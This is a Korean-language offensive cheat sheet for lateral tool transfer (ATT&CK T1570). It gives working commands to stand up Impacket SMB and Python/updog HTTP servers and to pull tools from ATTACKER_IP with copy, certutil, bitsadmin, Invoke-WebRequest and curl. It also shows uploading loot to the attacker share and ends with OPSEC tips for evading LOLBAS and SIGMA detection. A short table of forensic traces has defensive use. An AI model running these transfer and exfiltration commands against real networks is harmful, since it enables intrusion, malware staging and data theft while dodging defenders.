ATT&CK: T1570 Lateral Tool Transfer · Lateral Movement (TA0008)

호스트 간 파일 전송은 가장 자주 쓰는 pivot 작업. 외부로 나가는 egress가 막혀있어도 내부 SMB는 거의 항상 열려있다 — 그래서 “공격자 호스트에 SMB 서버 띄우고 대상이 built-in 유틸로 받기"가 사실상 표준.

1. 공격자 측 — Impacket SMB 서버

# 공유 이름 'share', 쓰기 허용
impacket-smbserver share /path/to/tools -smb2support
  • 기본 포트 445. root가 아니면 1337 등으로 변경: -port 1337.
  • -smb2support: 요즘 Windows는 SMB1 꺼져있으므로 반드시 켜기.
  • 접근 제한: -username guest -password guest.

2. 대상 Windows에서 받기 — built-in 유틸 선택지

2.1 UNC path 직접 접근 (가장 조용)

copy \\ATTACKER_IP\share\tool.exe C:\Users\Public\tool.exe

PowerShell:

Copy-Item \\ATTACKER_IP\share\tool.exe C:\temp\tool.exe

가장 조용한 방식 — 외부 유틸 호출 없이 Windows의 SMB 클라이언트가 처리.

2.2 certutil (LOLBAS)

certutil -urlcache -split -f \\ATTACKER_IP\share\tool.exe C:\temp\tool.exe
  • -urlcache: 캐시 다운로드.
  • -split -f: 캐시 안 쓰고 강제 저장.
  • URL 대신 UNC path도 OK.

2.3 bitsadmin (레거시지만 여전히 작동)

bitsadmin /transfer myJob \\ATTACKER_IP\share\tool.exe C:\temp\tool.exe

2.4 PowerShell Invoke-WebRequest (HTTP가 필요하면)

Invoke-WebRequest -Uri http://ATTACKER_IP:8000/tool.exe -OutFile C:\temp\tool.exe

HTTP 서버가 필요하면 공격자 측에서 python3 -m http.server 8000.

3. HTTP 쪽도 챙기기

SMB가 막혀있을 때(점점 더 흔함):

# 공격자 측
python3 -m http.server 8080
# 또는 updog(인증 가능)
pipx install updog
updog -p 8080 --password 'xx'

대상 측:

curl.exe -o C:\temp\tool.exe http://ATTACKER_IP:8080/tool.exe

Windows 10+는 curl.exe가 기본 설치됨.

4. 반대 방향 — 호스트에서 공격자로 (업로드)

4.1 Impacket smbserver는 양방향

# 대상에서 공격자 SMB 공유로
copy C:\loot\data.zip \\ATTACKER_IP\share\

쓰기 권한 설정은 smbserver 실행 시 기본 허용(공격자 측 디렉터리에 쓰기 가능해야 함).

4.2 HTTP 업로드 (updog)

updog는 웹 UI로 업로드 받기 지원.

5. 흔적 비교

방법 디스크 흔적 네트워크 흔적
UNC copy 대상에 파일 생성 SMB 세션 생성 (Event 5140 등)
certutil 캐시 디렉터리 (-urlcache), 또는 Downloads 레지스트리 동일
bitsadmin BITS 작업 로그 (Microsoft-Windows-Bits-Client/Operational) HTTP/SMB 트래픽
Invoke-WebRequest PowerShell 이벤트 로그 (4104) HTTP/HTTPS

bitsadmin과 certutil은 LOLBAS 리스트에 올라있어서 SIGMA 룰이 광범위. 가장 조용한 건 사실 PowerShell Copy-Item with UNC path (일상적 관리 명령과 섞여 들어감).

6. OPSEC 요약

  • SMB 포트 445는 대부분 내부 ACL이 열려있어 가장 안정적인 전송 채널.
  • 외부로 나가는 egress로 쓰려면 TCP 445가 ISP에서 막혀있을 가능성 높음 (대부분 네트워크는 egress 445 차단).
  • certutil/bitsadmin은 LOLBAS 룰에 걸릴 확률 높음. 가능하면 “일반 관리자가 하는 패턴"으로 수행.

참고